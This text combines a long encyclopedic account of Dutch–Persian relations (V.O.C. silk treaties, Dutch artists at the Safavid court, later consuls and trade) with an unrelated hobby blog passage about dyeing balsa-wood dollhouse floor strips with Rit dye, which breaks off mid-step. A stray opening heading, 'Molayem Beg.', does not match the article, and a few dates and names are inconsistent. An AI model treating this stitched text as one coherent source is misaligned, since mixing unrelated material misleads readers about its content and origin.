Molayem Beg.
Apart from commercial relations, the main point of contact between Persia and the Netherlands in the 17th century was art. Especially in the forty-five years after 1029/1620 a number of Dutch painters were active in Persia, though their possible influence on Persian painting has not yet been studied. From available sources it is clear that Dutch artists were employed by the shahs and members of the Persian political and commercial elite. For example, Jan van Hasselt, who lived in Isfahan from 1029/1620 to 1038/1628, was appointed court artist and executed paintings for Shah ʿAbbās’ palace at Ašrāf in Māzandarān (see BEHŠAHR). When he returned home the shah appointed him his political agent in the Netherlands.
During this period travelers brought back increasing numbers of Persian manuscripts to the West. In particular, Thomas Erpenius (1584-1624) and Jacobus Golius (1596-1667), both of Leiden University, acquired better knowledge of Persian through their study of manuscripts in Arabic script. Golius, who was for some time assisted by the same Azerbaijani who had assisted Adam Olearius (Floor, 1983b), read Saʿdī’s Golestān with his students and also prepared a Persian-Latin dictionary, which was published after his death (Castellus). His own extensive personal library was sold at auction twenty-five years later; most of it was purchased by Narcissus Marsh, Archbishop of Armagh, who bequeathed it to the Bodleian Library, Oxford (McCarthy, pp. 25, 47, 49). Golius’ students contributed still further to Persian studies in the Netherlands. Lodewijk (Louis) de Dieu published the first Persian grammar in Latin (Rudimentae Linguae Persicae, Leiden, 1639). Levinus Warner published an annotated collection of Persian proverbs with translations (Proverbiorum et Sententiarum Persicarum Centuria, Leiden, 1644) and, while serving as Dutch consul in Istanbul, bought a large number of manuscripts in Arabic, Persian, and Turkish. His library, which he bequeathed to Leiden University, still constitutes the most important part of its collection of oriental manuscripts.
The reign of Shah Ṣafī I (1038-52/1629-42). Shah ʿAbbās and the governor-general of the V.O.C., Jan Pietersz Coen, died in the same year. On 1 Šaʿbān 1039/16 March 1630 Smidt sailed for Batavia, having obtained from ʿAbbās’ successor, Shah Ṣafī I, limited confirmation of the earlier V.O.C. treaty (for a Persian translation of Smidt’s account of his stay in Persia, see Floor, 1978a, pp. 60-113; cf. Vermeulen, 1975-78a). The most important commercial concessions remained in effect; in exchange the V.O.C. was required to buy silk from the shah at 50 tomans per carga, higher than the market rate. Interpretation of these provisions led to serious difficulties, however. Visnich was ordered to Batavia to give an account of himself, but, after first taking refuge in the suburb of Jolfā, he left for the Netherlands via Iraq, hoping to appeal directly to the managing board of the company, known as the Heeren XVII. In Iraq the Ottoman authorities arrested him on suspicion of spying for Persia and executed him. Meanwhile, van Hasselt had been successful in obtaining trading privileges for Persians in the Netherlands, effective 7 February 1631 (Vermeulen, 1979; Valentijn, pp. 296-97; Alexandrowicz).
Between 1035/1626 and 1050/1640 silk was the main commodity exported from Persia by the V.O.C., but high prices, varying quality, and competition of silk from Bengal kept the profits from Persian silk low. Furthermore, despite the treaty terms, the shah supplied silk only irregularly and in smaller quantities than stipulated. The Dutch therefore also bought silk from private individuals, without paying customs duties on it. Pieter del Court, who had been appointed to succeed Visnich, was an ineffective administrator and was dismissed in 1044/1634; he was replaced by Nicolaas Jacobus Overschie, who in 1045/1635 was instructed to attempt to corner the silk market and to borrow the necessary cash (at 20 percent annual interest). His efforts were unsuccessful (Dunlop, 1930, pp. 410-12, 435; Steensgaard, pp. 391-93), and, to make matters worse, in 1047/1637 Mīrzā (Sārū) Taqī, the grand vizier, demanded payment of customs duties on the silk purchased from private merchants, pointing out that the V.O.C. had been granted exemption only on what it purchased from the shah. The Dutch refused to pay, insisting that the treaty guaranteed tax-free trade in Persia unconditionally, and Mīrzā Taqī then seized 4,309 tomans from Overschie by force. He went farther still; as he was having difficulty disposing of the shah’s silk, he forced the Dutch to buy 300 bales at the stipulated high price of 50 tomans a carga. The V.O.C. then ordered its staff to reduce silk purchases in Persia.
During this period of conflict Dutch artists and craftsmen continued to find success in Isfahan. The painter Joost Lampen was working there in 1039/1630, and Barend van Sichem probably painted the murals at All Savior’s cathedral in the suburb of Jolfā in 1049/1639-40 (Floor, 1979b, pp. 147-48). A number of Dutch jewelers were also active, including a certain Huybert Buffkens, a diamond cutter, and two goldsmiths named Cornelis Walraven and “Claes,” though no work by any of them has been identified (Leupe, p. 262). Buffkens was appointed to the boyūtāt-e salṭanatī at a salary of Dfl. 1,000 a year; he died in Isfahan in 1066/1656.
The reign of Shah ʿAbbās II (1052-77/1642-66). The V.O.C. continued to protest Mīrzā Taqī’s high-handedness without positive result; in 1054/1644 the firm therefore decided on military action (Floor, 1978b, pp. 46-48). In May 1645 seven men-of-war blockaded Bandar-e ʿAbbās on the Persian Gulf coast and seized all Persian vessels there. The fleet bombarded the Safavid fortress on Qešm island (Plate LVII) but failed to seize it. The company then shifted most of its operations from Isfahan to Bandar-e ʿAbbās, which became its main trading station (Plate LVIII). The shah promised the Dutch redress for their earlier losses at the hands of Mīrzā Taqī and invited them to send a plenipotentiary to court. In 1057/1647 Nicolaes Verburch and Willem Basting arrived; although they were unable to reach an agreement with the shah, the V.O.C. did continue trading with Persia tax-free. Even the appearance of a Dutch fleet on the roadstead of Bandar-e ʿAbbās in 1059/1649 did not cause further deterioration in political and commercial relations between the two countries (Floor, 1978b, pp. 48-51). Nevertheless, between 1055/1645 and 1062/1652 the V.O.C. exported no silk at all from Persia.
In 1061/1651 Joan Cunaeus arrived in Persia and negotiated a new agreement, which, with minor changes, remained the basis for V.O.C. trade with Persia until 1180/1766. The Dutch were to buy from the shah 300 bales of silk at 48 tomans a carga, in exchange for toll-free trade of 20,000 tomans a year; export of specie from the country was prohibited, and V.O.C. goods were exempted from inspection and road tolls. The company was not satisfied with the 20,000-toman limit or the prohibition on export of specie. Furthermore, in no year thereafter did the shah provide the promised 300 bales of silk, though the Dutch did enjoy tax-free trade (Hotz, 1908, pp. 355-62). Until 1108/1696 silk deliveries remained irregular because the shahs preferred to sell in the Levant when the price was better. Nevertheless, despite occasional problems over illegal export of specie, which was in fact the country’s most important export commodity, the V.O.C. continued to prosper in Persia. Precise data for the 17th century are lacking, but gross profits in the years 1033-50/1624-50 had averaged about Dfl. 200,000; under the new treaty they began a gradual rise in 1062/1652, eventually reaching Dfl. 400,000 (van Dam, pp. 317-18; Table 40). A Dutch trading station was opened at Kermān in 1069/1659, when the V.O.C. began to buy wool there; it remained in operation, with interruptions, until 1157/1744. The firm had a standing order for 70,000 pounds of red wool annually, though it never actually received that much in any given year (Matthee; Floor, 1978b, p. 39; idem, forthcoming, chap. 5).
Between 1061/1651 and 1065/1655 Philip Angel not only made paintings for Shah ʿAbbās but also instructed him in the art. Other Dutch artists in Persia during this period included Hendrinck Boudewijn van Lockhorst, who worked there in 1053-57/1643-47; Juriaen Ambdis, who took service as a gunner in the shah’s army in 1058/1648; a man named Romeyn, whose presence in 1065/1655 is attested; Jan de Hart, who was there the next year; Adriaan Gouda, there in 1071/1661; and an unnamed painter from Brabant in the later 17th century (Floor, 1979b).
Problems created by the governor of Fārs prompted the V.O.C. to send Huybert de Lairesse as envoy to the Persian court in 1076-77/1666, in order to ensure continuation of good relations and profitable trade. He was the last Dutch ambassador to have an audience with Shah ʿAbbās and the first to be received by his successor, Shah Ṣafī II.
The reign of Shah Ṣafī II (Solaymān I; 1077-1105/1666-94). One result of de Lairesse’s mission was renewed confirmation of the commercial privileges granted to the V.O.C. (Coolhaas, III, pp. 571-72, 598). Other Dutch travelers also visited Persia in this period, but little information is available on what they observed. For example, Jan Struys, who was shipwrecked and subsequently enslaved (1082/1671), left an account of his experiences, which was translated into four languages and reprinted more times than its contents seem to have warranted (Floor, 1995). Herbert de Jager, a former student of Golius, spent many years in the country (1076-81/1666-70, 1094-98/1683-86) in the employ of the V.O.C., but his recorded observations have not been preserved. Other European travelers commented on his vast knowledge of the country, on which many of them drew in composing their own works. Jean Chardin, for example, mentioned his collaboration on the description of Isfahan (VII, pp. 287-89). Engelbert Kaempfer praised his learning and reported on their joint outings to collect plants and other information (Meier-Lemgo, pp. 112, 122; cf. Thévenot, II, p. 104).
Although the V.O.C. generally did very well in Persia in this period, it did have difficulties with the governor of Bandar-e ʿAbbās, who sought “arrears” in rent for the Dutch-owned station there, and with the grand vizier Šayḵ-ʿAlī Khan (Lockhart, pp. 366-67; Chardin, IX, pp. 71-72). In 1089/1678 the firm threatened armed action against the governor and abandonment of its trading activities in Persia. A protest at court resulted in orders to the governor to cease interference with Dutch trade or traders. Nevertheless, the grand vizier, in response to a deteriorating Persian economy, forced the Dutch to accept more silk than previously, and the next year the government demanded payment of road tolls. In 1091/1680 the V.O.C., engaged in military action elsewhere in Asia, instructed its staff to ask for deliveries of only 150 cargas of Persian silk; the grand vizier refused to comply and sent the usual quantity to the Dutch factory, where it was turned away. He then seized payment by force, and the Dutch agent was beaten. The V.O.C. finally decided on war; in 1096/1685 a fleet of five ships blockaded Bandar-e ʿAbbās, seized Persian vessels, and took Qešm island. A delegation that included de Jager was unable to reach an agreement with the shah (van Dam, p. 318; Valentijn, p. 249; Coolhaas, IV, pp. 299-300, 358-63, 582-83, 740-43, 826-27).
The generally tense atmosphere was temporarily relieved by the arrival in 1102/1691 of Johan van Leene as ambassador. He reached an agreement with Ṣafī II, who again granted tax-free trading privileges for maximum annual imports and exports of 20,000 tomans each and exemption from road duties. Persian officials were not to open Dutch trade goods, and in exchange the Dutch were to buy annually 300 cargas of silk from the shah at 44 tomans each. The next year the Heeren XVII gave instructions that all V.O.C. transactions were to take place at Bandar-e ʿAbbās and that goods were no longer to be transported to Isfahan (van Dam, pp. 319-21; Valentijn, pp. 250-70). The Isfahan office remained open, however, in order to maintain good relations with the court and to purchase silk and specie to be forwarded to Bandar ʿAbbās. The history of other trading stations on the Persian Gulf in this period was also somewhat checkered (Floor, 1985).
Toward the end of the 17th century V.O.C. profits began to diminish as a result of the general economic decline in Persia. Interest in Persian studies was also waning in the Netherlands, though scholars trained by Golius, George Gente and Daniel Havart, did publish Dutch translations of Saʿdī’s Būstān in 1688 and his Golestān in 1694.
The reign of Shah Solṭān-Ḥosayn (1105-35/1694-1722). After his accession to the throne Shah Solṭān-Ḥosayn confirmed Dutch privileges in Persia, but in 1108/1696, when he was unable to sell silk to the V.O.C., his government proposed abolishing the obligatory delivery of silk and receiving from the V.O.C. an annual fixed volume of goods instead. The company declined, and in 1113/1701 Ambassador Jacobus Hoogkamer negotiated a new agreement, which did not differ in essentials from earlier ones. In exchange for taking 100 cargas of silk at 44 tomans each and supplying a certain quantity of “treaty goods,” the V.O.C. was entitled to tax-free trade of 20,000 tomans a year (Valentijn, pp. 270-86; Floor, 1978b, ch. 1). Trade remained reasonably profitable for the Dutch, though between 1107/1696 and 1126/1714 silk was delivered to the V.O.C. only three times and after 1126/1714 it ceased to figure among Dutch exports (Steensgaard, pp. 391-96; van Dam; Floor, 1978b).
In 1124/1712 an internal conflict on the V.O.C. staff led to the departure of the Isfahan agent, Pieter Macare. He asked the shah for protection, in return for which he lent him 14,000 tomans of the company’s funds (Dfl. 595,000), which were never repaid. He also gave the Persian government access to the V.O.C. factory and books, which led to a demand that the company pay taxes on goods that it had traded above the specified tax-free amount. The Dutch demanded that both Macare and the books be handed over to them and continued to maintain that they were not liable for taxation. The shah did send Macare to Batavia, in the company of Mīrzā Jaʿfar; they arrived in the spring of 1127/1715. Johan Josua Ketelaar arrived at Bandar-e ʿAbbās in June 1716 and quickly reached an agreement with the Persian court; the new treaty was essentially the same as that of 1113/1701, except that the V.O.C. had to permit inspection of its goods and pay duty on the export of specie. The directors were not pleased (Floor, 1978b, pp. 58-60), but Ketelaar was not to blame for these relatively unfavorable terms, which in fact reflected an increasingly unstable political situation in Persia. The decline in V.O.C. profits continued. After the fall of the vizier Fatḥ-ʿAlī Dāḡestānī in December 1720 the new government once again raised issues that were supposed to have been resolved by the Ketelaar mission. Nevertheless, in late September 1722 the V.O.C. lent 17,000 tomans to Shah Solṭān-Ḥosayn.
Cultural contacts also declined in this period. The only Dutch painter known to have been in Persia after 1076/1666 was Cornelis de Bruin, who was in Isfahan in 1114/1702 and left an important travel account, enriched with many engravings of notables, ordinary people, plants, buildings, and the like. Furthermore, in the Netherlands there was only one important contemporary Dutch scholar of the Persian language, Adriaan Reland of the University of Utrecht, who used his knowledge of such literary works as the poems of Neẓāmī Ganjavī as the basis for a study of Islam (De Religione Mohammedica, Utrecht, 1717) that was less biased than had previously been customary and was frequently translated into other European languages. Reland also urged the study of Persian to improve understanding of ancient history.
The Afghan interval (1135-42/1722-30). Before the disagreements between Solṭān-Ḥosayn’s administration and the V.O.C. could became more serious the Safavid state was effectively brought to an end by the invasion of Maḥmūd Afḡān, who took Isfahan in October 1722 (Lockhart, pp. 93 ff.). The Dutch, who were kept virtual prisoners in their factory, left a vivid diary of the siege, the most complete available account of those crucial days (for a Persian translation, see Floor, 1365 Š./1986, ch. 5). Having already suffered the loss of the money it had lent to Solṭān-Ḥosayn, the company then lost a further 6,000 tomans worth of “gifts” and property when the Afghans searched the Isfahan trading station and wreaked severe damage on the factory itself; in 1139/1727 it had to be abandoned altogether because the inner city was to be reserved for Afghans only. The Dutch staff moved to Jolfā. Bandar-e ʿAbbās was not occupied by the Afghans until that year; the Dutch residents there had a military garrison and an escape route by sea.
Total V.O.C. profits from the Persian trade dropped steeply during this period (Table 40). In 1141/1729 the Dutch attempted to move their factory from Bandar-e ʿAbbās to the island of Hormuz, which led to the death of the agent and his deputy and open warfare between the Dutch and the Afghan garrison on the island. Nevertheless, after consolidating their power the Afghan rulers tried to induce the Dutch to resume commercial activities; Ašraf (see AŠRAF ḠILZAY), Maḥmūd’s successor, even granted the V.O.C. trading privileges. But Afghan rule was insecure, the population of Persia impoverished, and prospects for trade nonexistent. Furthermore, after the Safavid victory over Ašraf the Afghan troops fled the country (Floor, 1365 Š./1986; idem, 1367 Š./1988; Dunlop, 1912, pp. 258-60).
The reign of Shah Ṭahmāsb II (1135-45/1722-32). Under Shah Taḥmāsb II the Dutch at first fared well, as he appreciated the support they had given to his father, Solṭān-Ḥosayn, and hoped to receive similar assistance. His general Nāder Shah Afšār (see AFSHARIDS) made increasing demands for money and naval assistance, however. In 1143/1730 he demanded Dutch naval support in operations against Masqat and later against the Hūwala Arabs of the Persian Gulf coast; it was given but not without protest. In the same year the firm’s total claim on Persia amounted to Dfl. 1,721,060, an enormous sum (Floor, 1365 Š./1986, pp. 223-25, 237; Dunlop, 1912, p. 258); furthermore, increased expenditures for security and a vastly reduced volume of trade meant that thenceforth the V.O.C. actually lost money in the Persian trade.
The Afsharids (1148-1210/1736-95). Once Nāder Shah had proclaimed himself shah, the Dutch refused to sell him ships to build his own navy. In 1150/1738 the company opened a new trading station in Būšehr; six years later it closed the one in Kermān, though continuing to buy wool there. In 1160/1747 the V.O.C. discontinued trading activities in Isfahan. When Nāder Shah was assassinated later that year the Dutch—and most Persians—were greatly relieved (Floor, 1983c; idem, 1987). Although Nāder Shah’s nephew Ebrāhīm Shah (1161/1748) offered them the same privileges that they had enjoyed under his uncle, the Dutch refused to side with any of the Afsharid contenders for the throne. This entire period had in fact been disastrous for V.O.C. trade in Persia. Not only had the purchasing power of the population been greatly reduced, but also Nāder Shah had increased the cost of maintaining a presence in the country through his continual demands for presents, loans, and ships. After his death there was a commercial upsurge, but it was only temporary.
The Zands (1163-1209/1750-94). In February 1752, when ʿAlī-Mardān Khan Baḵtīārī invaded Lārestān, the V.O.C. agent at Bandar-e ʿAbbās abandoned the station there to two caretakers. The Dutch opened a new factory on Ḵārg island, in order to escape the extortions of mainland rulers. The Baron Tido von Kniphausen, formerly V.O.C. agent in Baṣra, built the Mosselsteyn fortress on the island and proceeded to blockade the Šaṭṭ-al-ʿArab, in order to recover money extorted from him and the firm. He was successful and began to build relations with the local shaikhs of Rīg, Būšehr, Lenga, Kuwait, and the Banū Kaʿb, but open conflict resulted when Mīr Mohannā Zaʿābī of Bandar-e Rīg, in retreat from Karīm Khan Zand (1163-93/1750-79), sought to reclaim Ḵārg island, his natural refuge. A year later the V.O.C. closed the station at Būšehr. Finally, as the Persian trade had become a losing proposition, in 1171/1758 the company decided to abandon it entirely, closing down the station at Bandar-e ʿAbbās (Floor, 1989a); a year later it ceased to buy wool in Kermān (Floor, 1978b, ch. 5; idem, forthcoming, chap. 5).
Eventually, in 1179/1766, despite the presence of two ships in the roadstead, the Dutch were forced to surrender the fortress and the goods stored on Ḵārg island. Although William Eaton, the Dutch consul in Baṣra, tried to persuade the V.O.C. to resume trading activities in the Persian Gulf, the firm declined (Floor, 1979a; idem, 1992; Perry). Only in 1185/1771 did it began voyages to Masqat, primarily to sell sugar; these voyages continued on a fairly regular basis until the end of the 18th century, but there was no further direct connection with Persia (Floor, 1982a; idem, 1982b).
Throughout the 18th century Dutch power had been declining in Europe, which was reflected in the Dutch position in Persia and the Persian Gulf. There are no reports of Dutch artists or craftsmen active in Persia in the later 18th century, apart from those who were employed by the V.O.C.
In the Qajar period (1193-1342/1779-1924). It was not until the reign of Fatḥ-ʿAlī Shah (1212-50/1797-1834) that trade relations between the Netherlands and Persia were resumed on a fairly regular basis; in 1239/1824 the government of the Dutch East Indies sent the Baron van der Capellen, under the command of one M. Cantor, to Bandar-e ʿAbbās with a typical 18th-century cargo: sugar, tin, copper, spices, steel, nails, iron, and sappanwood, a total value of Dfl. 125,000. At Bandar-e ʿAbbās Cantor was able to sell his goods and load horses, rose water, gallnuts, opium, and especially specie, which accounted for two-thirds of the value of the cargo on the return trip. The profits were reasonable enough to encourage the Nederlandse Handels Maatschappij (N.H.M., or Dutch Trading Company), which had no connecetion with the V.O.C., to finance four other voyages of a single ship each between 1828 and 1831. There already existed an informal trade between Java and Persia, carried on by Armenian merchants living in Java; Cantor had letters of introduction from an Armenian merchant in Batavia to Messrs. Arakil and Arathun, an Armenian firm in Būšehr (den Tex, pp. 23-27). But, as security on the Persian Gulf coast was uncertain and the shaikh at Būšehr somewhat arbitrary in business matters, the N.H.M. eventually decided to discontinue trade in Persia.
That the Dutch had no agent representing their interests on the spot was a disadvantage. In 1273/1857 a commercial treaty was signed in Paris by ambassadors from Nāṣer-al-Dīn Shah (1264-1313/1848-96) and Willem III (text in Dunlop, 1912, pp. 575-79; cf. Floor, 1367 Š./1988), but the Dutch parliament never ratified it. Various private Dutch merchants continued to trade with Persia, sending mainly sugar from Java and bringing back wheat, dried fruit, and dates. The value of this trade increased from Dfl. 300,000 in 1855 to Dfl. 1,690,000 in 1865, when 100,000 picols (1 picol: 125 lb.; den Tex, pp. 28-31) of sugar were traded; imports from Persia in the same years totaled Dfl. 100,000 and 200,000 respectively. After repeated requests for appointment of a consul in Persia to protect the budding Dutch (East Indies) trade the government of the Netherlands invited J. L. Schlimmer, a Dutch physician in Persian service during the 1860s and 1870s, to become honorary consul-general in Tehran. He declined, however, on grounds that he lacked the necessary means to maintain such a prominent position.
In 1866 exports from Java to Persia began gradually to decline in volume, and the composition of the cargoes changed. Whereas initially spices, coffee, timber, tea, and textiles had been exported in addition to sugar, the trade had shifted almost exclusively to sugar. Richard Keun was appointed consul at Būšehr in 1285/1868. His family was part of the old Dutch community in Smyrna (Izmir, Turkey), and he was familiar with the Middle East, its culture, and its languages. He built a large house named Holandarābād outside Būšehr (Plate LIX). An ambitious man, eager to increase his small capital, Keun attempted to promote Dutch trade and his own share in it in various ways, including establishment of Perzische Handels Vereeniging (P.H.V.). His efforts sometimes led to conflict with the British political resident in Būšehr and with local merchants, who accused him of misusing his diplomatic position for his own gain (B 149, various letters between 1871 and 1875). The Russian legation, which oversaw Dutch interests in Tehran, had to intervene on his behalf. In 1872 the Dutch government therefore again invited Schlimmer to accept the post of consul-general; he again refused but did agree to act as commercial agent. He was officially appointed in February 1873, and from that time on Keun was supposed to address all requests to the Persian government through him, but, despite official reprimands, he did not do so (B 149, memo to M, 19.10.75). Schlimmer died in March 1876 (B 149, Keun to Willebois, 20.7.76), two years after publishing Terminologie médico-pharmaceutique (Tehran, 1874; repr. Tehran, 1970), still a treasure trove for historians.
In 1296/1879 Keun himself was given the title consul-general and was able to obtain Persian agreement to a new commercial treaty granting the right of entrepôt to the Netherlands; it had been denied to Russia and Great Britain. The Dutch parliament was not really interested in the treaty, however, and the text also posed “legal” problems (Floor, 1367 Š./1988). In 1883 Mīrzā Jawād Khan, Persian minister in Belgium, was also accredited to the Netherlands.
Nevertheless, the overall drop in Dutch East Indian exports to Persia was dramatic: from Dfl. 1,440,000 in 1866 to Dfl. 160,000 in 1884. After that no ships sailed from Java for the Persian Gulf, and Persia no longer figured in the trade statistics of the Dutch East Indies. Exports from Persia to Java, which had reached about Dfl. 200,000 a year, also declined and were discontinued at about the same time as imports. These changes primarily reflected the opening of the Suez canal, for Java sugar could no longer compete with sugar from the West Indies. Nevertheless, some people believed that sugar and tea from Java could be profitably marketed in Persia if a direct steamboat line were to link them via Bombay (Hotz, 1896, pp. 725-26, 739).
In 1306/1889 Nāṣer-al-Dīn Shah and in 1318/1900 Moẓaffar-al-Din Shah visited the Netherlands on their way to England, but these visits attracted little attention in either Dutch or Persian sources (Schweiger; Eʿtemād al-Salṭana, Rūz-nāma-ye ḵāṭerāt, pp. 648-49; Hotz, 1904, p. 676 n. 2). The generally low-key nature of Dutch-Persian relations was also reflected in the workload of the Dutch representative in Persia in the period 1309-31/1892-1913 (Gast; Hotz, 1904). In fact, in the Netherlands it was generally believed that no consul in Persia was necessary, but pressure from commercial interest groups in both the Netherlands (Hotz, 1904, pp. 675-76) and the Dutch East Indies led to the appointment in 1307/1890 of F. N. Knobel as “consul-general”; he served until 1314/1896. Knobel lived in Tehran and, in contrast to other European representatives, was accredited to the Persian court, rather than to the ministry of foreign affairs. He was succeeded by F. W. Bosschart, then served another term himself, and was succeeded again by J. E. de Sturler. It was owing to Knobel’s efforts that the Dutch printing firm J. Enschede & Zoon won a contract to print Persian postage stamps. In 1310/1893 he was also instrumental in establishing the Tehran Toko, a Dutch department store created with the financial participation of many leading Persians, including Amīn-al-Solṭān. Other Dutch commercial activities were generated by J. C. P. Hotz & Zoon, an import-export firm that had been established in 1874, at Keun’s suggestion. It had agents in Isfahan, Shiraz, Solṭānābād, Yazd, Būšehr, and Iraq and was engaged particularly in the carpet trade. A. Hotz undertook many projects to develop the wealth of Persia. He was the first to drill for oil (near Dālakī) and had interests in the development of coal mines, the Imperial Bank of Persia, the carpet industry, and the potential of the Kārūn river, proposed in 1324/1906 by a Dutch engineer, D. L. Graadt van Roggen; unfortunately, the last project came to nothing, owing to British opposition (Dunlop, 1912, pp. 551-64). In 1321/1903 the Hotz firm went bankrupt, largely owing to the dishonesty of a Persian business partner (Floor, 1983a); in the same year the Tehran Toko also went bankrupt, as a result of poor management (Hotz, 1904, p. 677).
Indirect trade between Java and Persia continued through Calcutta and Bombay, involving mostly sugar and tea (Hotz, 1904, pp. 812-13), but the Dutch share in total Persian foreign imports was only 0.75 percent (2.1 million krans) in 1320/1902. The Dutch representative in Persia became discouraged, but others perceived a challenge to do better (Hotz, 1904). Although Dutch trade did not become much more important than before, some Dutchmen were able to market their goods in Persia or to do business there. P. P. ter Meulen, for example, established a thriving import-export business in Ahvāz in 1318 Š./1900 (Hotz, 1906, p. 376). In Tehran two Dutch general stores, Joost Vos and de Pater, were opened to serve the well-to-do (Kuss, IV, pp. 28, 32). Many Dutch insurance firms were also interested in the Persian market (see records in the municipal archives in Amsterdam).
Although there is only one 19th-century Dutch travel account of Persia, by T. M. Lycklama à Nyeholt, a rich though somewhat shady character who wanted to ingratiate himself in Dutch society, Persian studies became more popular in the Netherlands as a result of growing interest in comparative Indo-European liguistics. The many editions of manuscripts published by R. P. A. Dozy and M. J. de Goeje, especially those of geographical texts from the Islamic period, also stimulated Persian studies. In the 1880s M. T. Houtsma was appointed reader of Persian and Turkish at Leiden University; he was interested in medieval Persian history and published Bondarī’s history of the Saljuqs (q.v. Suppl.; Houtsma, Recueil). Furthermore, Hotz and his collaborator Henryk Dunlop were active not only as businessmen but also in trying to stir greater Dutch interest in Persia. To that end Dunlop wrote a history of the country and edited the V.O.C. records for the years 1623-38. Hotz edited historical texts (e.g., the report of the 1651 embassy) and promoted trade with Persia in many publications. His characterization of the Persians was sympathetic, showing none of the usual superior European attitude (Hotz, 1906, p. 364). It is therefore not surprising to find both men mentioned positively by contemporary Persians (Forṣat, p. 539, Sadīd-al-Salṭana, pp. 620-29). Hotz bequeathed many artifacts that he had collected during his travels in Persia to the anthropological museums of Amsterdam, Leiden, and Rotterdam; they include a collection of photographs taken by him in the 1870s-90s.
Maurits Wagenvoort wrote an account of his journey to Persia in 1324-25/1906-07 (1926), as well as two other works on the Babis (q.v.). In 1327/1909 the post of consul-general was upgraded to envoy extraordinary and minister plenipotentiary, and W. J. Oudendijk arrived to take it up in January 1910; he remained until 1331/1913 (Gast, p. 2). In 1328/1910 the Dutch were asked to organize, train, and provide officers for the urban police and the gendarmerie in Persia, but they declined to do so, and the Swedes took on the task instead. In the same year a third consulate was established, at Ahvāz, supplementing those at Tehran and Būšehr. The first Persian ambassador to live in the Netherlands was Mīrzā Ṣamad Khan, who arrived in 1902. From 1331/1913 until 1338/1920, however, Italy represented Dutch interests in Persia; they were then taken over by the United States.
In the Pahlavi period (1304-57 Š./1925-79). The abolition of the Persian capitulations (q.v.) in 1305 Š./1927 included abrogation of the Dutch-Persian treaty of 1274/1857. In response to urging by the Persian government, the Netherlands appointed a special envoy to assess the need and desirability for permanent representation in Persia. The recommendation was favorable, and a new treaty was signed in 1309 Š./1930. The Dutch have been officially represented in Persia ever since. The two countries were unable to agree on a commercial treaty, however, owing to differences over consular regulations. In 1313 Š./1935 the Dutch chief of mission in Persia, designated successively consul-general, minister-resident, chargé d’affaires, and ambassador, was given jurisdiction over all Dutch consuls in Persia (Gast, p. 2). He dealt mainly with sugar imports from the Dutch East Indies and the export of Persian opium to the latter; the Persian government insisted on a fixed ratio between these two commodities. Trade continued between the Netherlands and Persia throughout the Pahlavi period. Persia exported mainly opium, dried fruit, and textiles, whereas the Netherlands exported agricultural and industrial products to Persia. The pioneering KLM airline route from Amsterdam to Batavia passed through Iraq and Persia, where the government was not always cooperative. There were also Persian requests for experts on tea cultivation (see ČĀY) and other agricultural matters, mineral prospecting, and harbor construction. In the 1940s Dutch representation was merely formal because the Netherlands was occupied by the Germans and most of its colonies by the Japanese (Gast, pp. 2-3). The Dutch embassy regained some importance, however, when Royal Dutch Shell assumed the role of coordinator within the international oil consortium between 1332 Š./1953 and 1352 Š./1973. In fact, its officials focused on the growing commercial relations between the two countries and also concluded a cultural treaty in 1338 Š./1959. In the 1960s the trade balance shifted in favor of Persia, which began to export large quantities of oil to the Netherlands. Dried fruit and textiles also continued to be traded. The Netherlands exported mainly agricultural, industrial, and chemical goods to Persia.
In 1301 Š./1922 J. H. Kramers became reader of Persian and Turkish at Leiden University and later professor of Arabic. His main interest was in the Arab geographers, rather than in Persia, but his successor, Karl Jahn, specialized in Persian historiography. He published and translated many parts of the Jāmeʿ al-tawārīḵ of Rašīd al-Dīn (de Bruijn).
The Islamic Republic of Persia (1358 Š.-/1979-). At present (1995) the Netherlands has an embassy in Tehran, and Persia has one in the Hague. Trade between the two countries has increased, owing to Dutch refusal to participate in economic sanctions against Persia after the Revolution of 1358 Š./1979. The balance of trade continues in Persia’s favor. In 1365 Š./1986 it exported $500 million worth of goods, mainly crude oil, to the Netherlands, which in turn exported $300 million of agricultural goods, chemicals, machinery, and raw materials, in almost equal proportions, to Persia. Persian studies are still included in the curricula of the universities of Leiden, Utrecht, and Nijmegen (de Bruijn; de Groot and Peters).
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Given that we’re all stuck indoors now, I figure it’s the best time for everyone to get their hobby on, which, in my case, is miniature dollhouses. Even if that’s not your hobby of choice, you might have something that’s similar. Or totally different but uses a lot of the same supplies, like balsa wood and Rit dye.
If you’ve been keeping up on the Keeper’s House build, you know I cut the balsa woods strips for the downstairs floor. And, you also know I numbered them so that when I assemble the floor, I’ll know exactly which strip goes where.
If you haven’t been keeping up the Keeper’s House build, why not? Also, now you’re up to speed.
Anyway, after I numbered the strips, it occurred to me that maybe numbering the balsa wood strips in pencil wasn’t the best idea. I planned to use Rit dye on the wood strips before I glued them to the floor. There is a whole debate about should you stain your dollhouse wood floor before or after you glue it in. I don’t know. I know that when I did my real-life wood floors, it was: install the floor then stain it.
That method doesn’t sound like the best idea to me. I can totally see me staining the stairs, the walls, and who knows what else if I glued the floors down first. Plus, despite all the complications I ran into when I batch-dyed the dollhouse shingles, I know that for me, a batch dye of the balsa wood floor strips is the way to go.
Only, once I thought about it, I realized that if I batch dye the balsa wood strips before I glue them to the dollhouse floor, would I be able to see the numbers post-dye job? And, if I can’t see the numbers, how the heck would I put the floors together?
Measure Twice, Dye Once?
Since I, like so many, have some free time on my hands, I figured there’s no time like the present to run my little experiment. Basically, I was trying to determine two things. First, can you use Rit dye on wood? And, second, if O could use Rit dye on wood, would I be able to see the numbers?
I started with my supplies.
As you can see, I’m not using the cut-up milk jug like I did for the shingles. I’m only testing the Rit dye on four or five balsa wood strips, so I figured it made zero sense to use the milk jug technique. If nothing else, the thin balsa wood strips would probably slide out of the bottom.
It’s hard to tell in the picture, but that’s two white oval bowls — the perfect shape for balsa wood. Also hard to tell, I grabbed them at the party store. One dollar a pop. That’s my kind of supply!
Then, of course, there’s the Rit dye. That’s Chocolate Brown, in case you’re wondering. I bought the dye a while back, so I can honestly say I don’t remember why I bought that brown versus any other. But, I’m sure I had my reasons.
Here’s the close up of the back of the box.
Apparently, the instructions are on the inside of the box.
And, here are the instructions.
Yeah. I read them over. For about two seconds. I figured that since I was only doing a “patch test,” as it were, it was OK to ignore the instructions and do my own thing. What’s the worst that could happen? Spoiler alert! Nothing (phew!)!
Mixing Up the Rit Dye Bath
Having learned my lesson from the last time I dyed wood, I took the necessary precautions.
With my protective gear in place, I sprinkled some of the Rit dye powder into my bowl.
I have no idea how much that is. I just poured a bit into the bowl and figured I’d adjust as I go. I would call that “ a generous pinch,” if you want an idea of “amount. Side note, this is also how I season my cooking!
Next up, adding water.
